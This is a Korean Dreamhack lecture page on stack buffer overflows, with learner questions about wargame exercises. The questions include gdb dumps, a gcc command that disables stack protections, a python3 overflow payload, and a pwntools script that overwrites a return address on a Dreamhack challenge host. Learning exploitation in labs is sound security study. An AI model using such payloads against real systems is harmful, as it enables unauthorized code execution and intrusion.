이번 강의에서는 스택 버퍼 오버플로우가 발생하는 원인이 무엇인지, 그리고 이 취약점이 어떤 보안 문제로 이어질 수 있는지 살펴봅니다.
강의 설명
강의 목표
스택 버퍼 오버플로우를 이해하고, 이로 인해 발생할 수 있는 보안상의 위협을 안다.
이 강의와 관련된 질문들입니다.
8개의 질문
https://learn.dreamhack.io/60#6 질문입니다.
Figure 4. 스택 버퍼 오버플로우 실습 부분 중에서 중요 데이터 변조 https://learn.dreamhack.io/60#6 부분을 실제로 해보면
./sbof_auth AAAAAAAAAAAAAAAABBBBCCCCCCCC1
총 28바이트를 채워야 auth 값이 1로 변경이 됩니다. 이유를 알 수 있을까요?
FTZ level3에서 autodig문제 BOF질문입니다.
[level4@ftz level4]$ gdb -q autodig
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048430 <main+0>: push ebp
0x08048431 <main+1>: mov ebp,esp
0x08048433 <main+3>: sub esp,0x78
0x08048436 <main+6>: and esp,0xfffffff0
0x08048439 <main+9>: mov eax,0x0
0x0804843e <main+14>: sub esp,eax
0x08048440 <main+16>: cmp DWORD PTR [ebp+8],0x2
0x08048444 <main+20>: je 0x8048475 <main+69>
0x08048446 <main+22>: sub esp,0xc
0x08048449 <main+25>: push 0x8048588
0x0804844e <main+30>: call 0x8048340 <printf>
0x08048453 <main+35>: add esp,0x10
0x08048456 <main+38>: sub esp,0x8
0x08048459 <main+41>: mov eax,DWORD PTR [ebp+12]
0x0804845c <main+44>: push DWORD PTR [eax]
0x0804845e <main+46>: push 0x80485a1
0x08048463 <main+51>: call 0x8048340 <printf>
0x08048468 <main+56>: add esp,0x10
0x0804846b <main+59>: sub esp,0xc
0x0804846e <main+62>: push 0x0
0x08048470 <main+64>: call 0x8048360 <exit>
0x08048475 <main+69>: sub esp,0x8
0x08048478 <main+72>: push 0x80485b2
0x0804847d <main+77>: lea eax,[ebp-120]
0x08048480 <main+80>: push eax
0x08048481 <main+81>: call 0x8048370 <strcpy>
0x08048486 <main+86>: add esp,0x10
0x08048489 <main+89>: sub esp,0x8
0x0804848c <main+92>: mov eax,DWORD PTR [ebp+12]
0x0804848f <main+95>: add eax,0x4
0x08048492 <main+98>: push DWORD PTR [eax]
0x08048494 <main+100>: lea eax,[ebp-120]
0x08048497 <main+103>: push eax
---Type <return> to continue, or q <return> to quit---
0x08048498 <main+104>: call 0x8048330 <strcat>
0x0804849d <main+109>: add esp,0x10
0x080484a0 <main+112>: sub esp,0x8
0x080484a3 <main+115>: push 0x80485b8
0x080484a8 <main+120>: lea eax,[ebp-120]
0x080484ab <main+123>: push eax
0x080484ac <main+124>: call 0x8048330 <strcat>
0x080484b1 <main+129>: add esp,0x10
0x080484b4 <main+132>: sub esp,0x8
0x080484b7 <main+135>: push 0xbbc
0x080484bc <main+140>: push 0xbbc
0x080484c1 <main+145>: call 0x8048350 <setreuid>
0x080484c6 <main+150>: add esp,0x10
0x080484c9 <main+153>: sub esp,0xc
0x080484cc <main+156>: lea eax,[ebp-120]
0x080484cf <main+159>: push eax
0x080484d0 <main+160>: call 0x8048310 <system>
0x080484d5 <main+165>: add esp,0x10
0x080484d8 <main+168>: leave
0x080484d9 <main+169>: ret
0x080484da <main+170>: nop
0x080484db <main+171>: nop
End of assembler dump.
(gdb) b *0x0804849d
Breakpoint 1 at 0x804849d
(gdb) r `perl -e 'print "A"x119'`
Starting program: /bin/autodig `perl -e 'print "A"x119'`
Breakpoint 1, 0x0804849d in main ()
(gdb) x/100wx $esp
0xbfffdf80: 0xbfffdf90 0xbffffbd2 0x4200dba3 0x420069e4
0xbfffdf90: 0x20676964 0x41414140 0x41414141 0x41414141
0xbfffdfa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdfb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdfc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdfd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdfe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdff0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe000: 0x41414141 0x41414141 ***0x41414141*** ~~**0x42015500**~~
0xbfffe010: 0x00000002 0xbfffe054 0xbfffe060 0x4001582c
0xbfffe020: 0x00000002 0x08048380 0x00000000 0x080483a1
0xbfffe030: 0x08048430 0x00000002 0xbfffe054 0x080484dc
0xbfffe040: 0x0804850c 0x4000c660 0xbfffe04c 0x00000000
0xbfffe050: 0x00000002 0xbffffbc5 0xbffffbd2 0x00000000
0xbfffe060: 0xbffffc4a 0xbffffc68 0xbffffc78 0xbffffc83
0xbfffe070: 0xbffffc91 0xbffffcb3 0xbffffcc6 0xbffffcd2
0xbfffe080: 0xbffffe95 0xbffffed7 0xbffffef3 0xbfffff04
0xbfffe090: 0xbfffff19 0xbfffff2a 0xbfffff3b 0xbfffff4d
...생략...
(gdb)
EBP는 0xbfffe008 이라서 RET 주소는 0x42015500 라고 생각했습니다.
덮어 쓰면 될 것 같아서 BOF는 어떻게 해결할 수 있을 것 같았는데요
질문은 리턴 주소가 디스어셈블리보시면 0x08048498번대 인데 0x42015500는
번지 자체가 어디인지 궁금합니다. 즉, 0x08XXXXXX이 되어야 될 것 같은데
0x42XXXXXX번대가 되어서요.
0x42015500는 무슨 함수 리턴일까요?
스택은
/////////////////
/ dig @ (5바이트)/
/115바이트 /
/SFP(4바이트) /
/RET(4바이트) / <-질문의 리턴은 어떤 함수 리턴인지요..(제생각은 main함수 리턴같아 보입니다만)
요새는 이렇게 명령어를 쳐도 소용이 없는 건가요? (스택)
gcc -z execstack -no-pie -o panda panda.c
스택 공격 실습을 하려고 위처럼 명령어를 치고

값을 엄청나게 부었는데도 아무 반응이 없길래 확인해보니

값을 변경하려고 했던 변수 위치가 그냥 스택만 채워서는 닿을 수 없는 곳에 있었습니댯
요새 컴파일러가 좋아져서 일반 gcc -o 등으로는 당연히 스택 공격이 안 된다는 걸 알았는데 막상 이렇게 정성들여서 명령어를 구성해도 지가 알아서 변수랑 스택을 조정해버리니 신기하네요쿠
gcc -z execstack -no-pie -o panda panda.c
이렇게 쳐도 얘가 알아서 다 조정해버리는 겁니꺍???
core
질문 많이해서 죄송해요 ㅜㅜ그런데 너무 삽질만 하고있는거 같아서요 core 파일디버깅한개 이렇개 뜨면 문제있는건가요 ?

core 파일
결과 게속 에러떠서 rip로 값이잘전달 되었나 확인하려고 core 파일을 열었는데 이렇개 나옵니다 gcc 에러떠서 디버깅하지 못하고있습니다


코드 전송
(python3 -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00')";cat)| ./rao
이렇개 햇는데 도 안되서 
이렇개 시도해봣는데 안되는이유를 알수잇을까요?
폰디버거는 이렇개 작성해습니다
from pwn import *
p = remote('host1.dreamhack.games',23171)
context.arch="amd64" # x86-64
payload = 'A' * 0x30
payload += 'B' * 0x08
payload += '\xdd\x11\x40\x00\x00\x00\x00'
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
셀코드 전송
셀코드를 입력햇는데 아무것도 안나와요
이미지외 다른방법도 시도해봣는데 이렇나게오는 이유를 알수잇을까요?
STACK
pwndbg> nearpc 0x400611
0x4005fe <main+25> lea rax, [rbp - 0x30]
0x400602 <main+29> mov rsi, rax
0x400605 <main+32> lea rdi, [rip + 0xa8] #0x4006b4
0x40060c <main+39> mov eax, 0
► 0x400611 <main+44> call __isoc99_scanf@plt <__isoc99_scanf@plt>
pwndbg> x/s 0x4006b4
0x4006b4: "%s
입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있다는데 [rbp - 0x30]를햇으면
30만큼잇는ㄴ게 아닌가요? 왜 38만큼잇는건가요?
이 강의가 포함된 로드맵

드림핵이 추천하는 강의입니다.
같이 들으면 좋은 강의

Memory Corruption: Stack Buffer Overflow

Free
상세정보
약 1 hour 소요
보통 난이도
없음